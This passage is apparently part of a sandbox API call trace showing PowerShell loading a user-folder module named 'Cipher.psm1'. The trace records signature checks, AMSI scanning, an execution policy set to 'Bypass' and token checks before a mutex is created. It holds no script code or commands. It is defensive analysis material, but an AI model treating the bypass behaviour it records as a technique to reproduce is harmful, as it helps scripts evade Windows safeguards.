lpBuffer=0x99ae748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", lpFilePart=0x0) returned 0x41 [0105.642] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*", lpFindFileData=0x99ae994 | out: lpFindFileData=0x99ae994) returned 0x8e35310 [0105.643] FindNextFileW (in: hFindFile=0x8e35310, lpFindFileData=0x99ae9a4 | out: lpFindFileData=0x99ae9a4) returned 1 [0105.643] FindNextFileW (in: hFindFile=0x8e35310, lpFindFileData=0x99ae9a4 | out: lpFindFileData=0x99ae9a4) returned 1 [0105.643] FindNextFileW (in: hFindFile=0x8e35310, lpFindFileData=0x99ae9a4 | out: lpFindFileData=0x99ae9a4) returned 1 [0105.643] FindNextFileW (in: hFindFile=0x8e35310, lpFindFileData=0x99ae9a4 | out: lpFindFileData=0x99ae9a4) returned 0 [0105.643] FindClose (in: hFindFile=0x8e35310 | out: hFindFile=0x8e35310) returned 1 [0105.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec2c) returned 1 [0105.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec38) returned 1 [0105.644] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x99ae298, nSize=0xee | out: lpBuffer="\x3ddb\x6b24\x14\x01\xd440\x73ae\x9afc\x704\x3700\x776f\xffff") returned 0x0 [0105.646] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psd1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psd1")) returned 0xffffffff [0105.647] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0105.648] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0105.674] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae4bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0105.674] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0105.674] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0105.674] CoTaskMemFree (pv=0x42c9ac0) [0105.674] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0105.674] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x99ae40c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0105.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae86c) returned 1 [0105.674] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x99ae8e8 | out: lpFileInformation=0x99ae8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0105.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae868) returned 1 [0105.674] WldpGetLockdownPolicy () returned 0x0 [0105.674] GetSystemInfo (in: lpSystemInfo=0x99ae914 | out: lpSystemInfo=0x99ae914*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0105.675] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae8a0 | out: phkResult=0x99ae8a0*=0x81c) returned 0x0 [0105.675] RegQueryValueExW (in: hKey=0x81c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae8bc, lpData=0x0, lpcbData=0x99ae8b8*=0x0 | out: lpType=0x99ae8bc*=0x0, lpData=0x0, lpcbData=0x99ae8b8*=0x0) returned 0x2 [0105.675] RegCloseKey (hKey=0x81c) returned 0x0 [0105.675] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0105.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae898) returned 1 [0105.675] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x705c074 | out: lpFileInformation=0x705c074*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe020fe1e, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe020fe1e, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe0be58b7, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0105.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae894) returned 1 [0105.675] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae368, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0105.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae7c8) returned 1 [0105.675] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x99ae844 | out: lpFileInformation=0x99ae844*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe020fe1e, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe020fe1e, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe0be58b7, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0105.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae7c4) returned 1 [0105.675] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae29c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0105.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae790) returned 1 [0105.676] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0105.676] GetFileType (hFile=0x81c) returned 0x1 [0105.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae78c) returned 1 [0105.676] GetFileType (hFile=0x81c) returned 0x1 [0105.676] WTGetSignatureInfo () returned 0x0 [0105.737] CoTaskMemAlloc (cb=0x10) returned 0x43ad1b8 [0105.737] CoTaskMemAlloc (cb=0x30) returned 0x8e5f378 [0105.737] WinVerifyTrust () returned 0x0 [0105.737] CoTaskMemFree (pv=0x8e5f378) [0105.737] CoTaskMemFree (pv=0x43ad1b8) [0105.737] CloseHandle (hObject=0x81c) returned 1 [0105.737] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae37c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0105.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae7dc) returned 1 [0105.738] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x99ae858 | out: lpFileInformation=0x99ae858*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe020fe1e, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe020fe1e, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe0be58b7, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0105.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae7d8) returned 1 [0105.738] CoTaskMemAlloc (cb=0x10) returned 0x43ad1b8 [0105.738] CoTaskMemAlloc (cb=0x10) returned 0x43ad2c0 [0105.738] CoTaskMemAlloc (cb=0x9a) returned 0x8ddc0c8 [0105.738] CoTaskMemAlloc (cb=0x30) returned 0x8e5f378 [0105.738] WinVerifyTrust () returned 0x800b0100 [0105.745] CoTaskMemFree (pv=0x43ad1b8) [0105.745] CoTaskMemFree (pv=0x8e5f378) [0105.745] CryptCATHandleFromStore () returned 0x475b248 [0105.745] WTHelperGetProvSignerFromChain () returned 0x0 [0105.745] CoTaskMemAlloc (cb=0x10) returned 0x43ad308 [0105.745] CoTaskMemAlloc (cb=0x30) returned 0x8e5f148 [0105.745] WinVerifyTrust () returned 0x0 [0105.745] CoTaskMemFree (pv=0x8e5f148) [0105.745] CoTaskMemFree (pv=0x43ad308) [0105.745] CoTaskMemFree (pv=0x8ddc0c8) [0105.745] CoTaskMemFree (pv=0x43ad2c0) [0105.745] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0105.745] GetEnvironmentVariableW (in: lpName="PSExecutionPolicyPreference", lpBuffer=0x99ae680, nSize=0xee | out: lpBuffer="Bypass") returned 0x6 [0105.745] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae374, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0105.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae868) returned 1 [0105.746] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0105.746] GetFileType (hFile=0x81c) returned 0x1 [0105.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae864) returned 1 [0105.746] GetFileType (hFile=0x81c) returned 0x1 [0105.746] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae8ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae8ac*=0) returned 0x0 [0105.746] ReadFile (in: hFile=0x81c, lpBuffer=0x705e774, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae8d8, lpOverlapped=0x0 | out: lpBuffer=0x705e774*, lpNumberOfBytesRead=0x99ae8d8*=0x1000, lpOverlapped=0x0) returned 1 [0105.746] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae8ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae8ac*=0) returned 0x1000 [0105.746] ReadFile (in: hFile=0x81c, lpBuffer=0x705e774, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae8d8, lpOverlapped=0x0 | out: lpBuffer=0x705e774*, lpNumberOfBytesRead=0x99ae8d8*=0x4ef, lpOverlapped=0x0) returned 1 [0105.747] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae8ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae8ac*=0) returned 0x14ef [0105.747] ReadFile (in: hFile=0x81c, lpBuffer=0x705dc03, nNumberOfBytesToRead=0x311, lpNumberOfBytesRead=0x99ae8d8, lpOverlapped=0x0 | out: lpBuffer=0x705dc03*, lpNumberOfBytesRead=0x99ae8d8*=0x0, lpOverlapped=0x0) returned 1 [0105.747] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x99ae8ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x99ae8ac*=0) returned 0x14ef [0105.747] ReadFile (in: hFile=0x81c, lpBuffer=0x705e774, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae8d8, lpOverlapped=0x0 | out: lpBuffer=0x705e774*, lpNumberOfBytesRead=0x99ae8d8*=0x0, lpOverlapped=0x0) returned 1 [0105.747] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0105.748] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0105.748] CoTaskMemFree (pv=0x42c9ac0) [0105.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae340, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0105.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x99ae3bc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0105.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae81c) returned 1 [0105.748] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x99ae898 | out: lpFileInformation=0x99ae898*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0105.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae818) returned 1 [0105.748] WldpGetLockdownPolicy () returned 0x0 [0105.748] GetSystemInfo (in: lpSystemInfo=0x99ae8c4 | out: lpSystemInfo=0x99ae8c4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0105.748] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae850 | out: phkResult=0x99ae850*=0x82c) returned 0x0 [0105.748] RegQueryValueExW (in: hKey=0x82c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae86c, lpData=0x0, lpcbData=0x99ae868*=0x0 | out: lpType=0x99ae86c*=0x0, lpData=0x0, lpcbData=0x99ae868*=0x0) returned 0x2 [0105.748] RegCloseKey (hKey=0x82c) returned 0x0 [0105.748] CloseHandle (hObject=0x81c) returned 1 [0106.005] CoCreateGuid (in: pguid=0x99ae954 | out: pguid=0x99ae954*(Data1=0x25cd0747, Data2=0x5b94, Data3=0x43e1, Data4=([0]=0xa5, [1]=0x89, [2]=0x78, [3]=0xe0, [4]=0x73, [5]=0x3, [6]=0x34, [7]=0xda))) returned 0x0 [0106.005] GetCurrentProcess () returned 0xffffffff [0106.005] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99ae928 | out: TokenHandle=0x99ae928*=0x81c) returned 1 [0106.006] GetTokenInformation (in: TokenHandle=0x81c, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x99ae928 | out: TokenInformation=0x0, ReturnLength=0x99ae928) returned 0 [0106.006] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x8e63338 [0106.006] GetTokenInformation (in: TokenHandle=0x81c, TokenInformationClass=0x8, TokenInformation=0x8e63338, TokenInformationLength=0x4, ReturnLength=0x99ae928 | out: TokenInformation=0x8e63338, ReturnLength=0x99ae928) returned 1 [0106.006] LocalFree (hMem=0x8e63338) returned 0x0 [0106.006] DuplicateTokenEx (in: hExistingToken=0x81c, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x99ae930 | out: phNewToken=0x99ae930*=0x82c) returned 1 [0106.006] CheckTokenMembership (in: TokenHandle=0x82c, SidToCheck=0x70e29b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x99ae940 | out: IsMember=0x99ae940) returned 1 [0106.006] CloseHandle (hObject=0x82c) returned 1 [0106.011] AmsiScanString () returned 0x80070015 [0106.038] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae1e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0106.038] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae11c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0106.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae57c) returned 1 [0106.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x99ae5f8 | out: lpFileInformation=0x99ae5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe020fe1e, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe020fe1e, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe0be58b7, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0106.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae578) returned 1 [0106.039] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0106.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae544) returned 1 [0106.039] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x844 [0106.039] GetFileType (hFile=0x844) returned 0x1 [0106.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae540) returned 1 [0106.039] GetFileType (hFile=0x844) returned 0x1 [0106.039] WTGetSignatureInfo () returned 0x0 [0106.068] CoTaskMemAlloc (cb=0x10) returned 0x43ad6f8 [0106.068] CoTaskMemAlloc (cb=0x30) returned 0x8e5f180 [0106.068] WinVerifyTrust () returned 0x0 [0106.068] CoTaskMemFree (pv=0x8e5f180) [0106.068] CoTaskMemFree (pv=0x43ad6f8) [0106.068] CloseHandle (hObject=0x844) returned 1 [0106.068] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0106.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae590) returned 1 [0106.068] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x99ae60c | out: lpFileInformation=0x99ae60c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe020fe1e, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe020fe1e, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe0be58b7, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0106.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae58c) returned 1 [0106.069] CoTaskMemAlloc (cb=0x10) returned 0x43ad578 [0106.069] CoTaskMemAlloc (cb=0x10) returned 0x43ad518 [0106.069] CoTaskMemAlloc (cb=0x9a) returned 0x8ddc608 [0106.069] CoTaskMemAlloc (cb=0x30) returned 0x8e5f378 [0106.069] WinVerifyTrust () returned 0x800b0100 [0106.085] CoTaskMemFree (pv=0x43ad578) [0106.085] CoTaskMemFree (pv=0x8e5f378) [0106.085] CryptCATHandleFromStore () returned 0x475b248 [0106.085] WTHelperGetProvSignerFromChain () returned 0x0 [0106.085] CoTaskMemAlloc (cb=0x10) returned 0x43ad6c8 [0106.085] CoTaskMemAlloc (cb=0x30) returned 0x8e5f180 [0106.085] WinVerifyTrust () returned 0x0 [0106.085] CoTaskMemFree (pv=0x8e5f180) [0106.085] CoTaskMemFree (pv=0x43ad6c8) [0106.085] CoTaskMemFree (pv=0x8ddc608) [0106.085] CoTaskMemFree (pv=0x43ad518) [0106.085] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0106.086] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\EventLog\\ProtectedEventLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae574 | out: phkResult=0x99ae574*=0x0) returned 0x2 [0106.086] EtwEventWriteTransfer (RegHandle=0x435c560, EventDescriptor=0x49, ActivityId=0x99ae5fc, RelatedActivityId=0x99ae59c, UserDataCount=0x0, UserData=0x5) returned 0x0 [0106.086] CoCreateGuid (in: pguid=0x99ae580 | out: pguid=0x99ae580*(Data1=0xdfb3514b, Data2=0xbed1, Data3=0x4418, Data4=([0]=0x83, [1]=0x9c, [2]=0x12, [3]=0x72, [4]=0xa9, [5]=0x40, [6]=0x6, [7]=0x6e))) returned 0x0 [0106.682] CoCreateGuid (in: pguid=0x99ae580 | out: pguid=0x99ae580*(Data1=0x779aa856, Data2=0x2254, Data3=0x4b04, Data4=([0]=0x89, [1]=0xe, [2]=0x2e, [3]=0x83, [4]=0x3d, [5]=0x70, [6]=0xee, [7]=0x50))) returned 0x0 [0107.079] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0107.079] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x42c9ac0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0107.079] CoTaskMemFree (pv=0x42c9ac0) [0107.079] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x99ae724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0107.080] GetCurrentProcess () returned 0xffffffff [0107.080] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99aec28 | out: TokenHandle=0x99aec28*=0x84c) returned 1 [0107.080] GetTokenInformation (in: TokenHandle=0x84c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x99aec74 | out: TokenInformation=0x0, ReturnLength=0x99aec74) returned 0 [0107.080] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x439e930 [0107.080] GetTokenInformation (in: TokenHandle=0x84c, TokenInformationClass=0x1, TokenInformation=0x439e930, TokenInformationLength=0x24, ReturnLength=0x99aec74 | out: TokenInformation=0x439e930, ReturnLength=0x99aec74) returned 1 [0107.080] LocalFree (hMem=0x439e930) returned 0x0 [0107.104] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x711acf0, cbSid=0x99aec78 | out: pSid=0x711acf0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x99aec78) returned 1 [0107.105] CreateMutexW (lpMutexAttributes=0x711adcc, bInitialOwner=0, 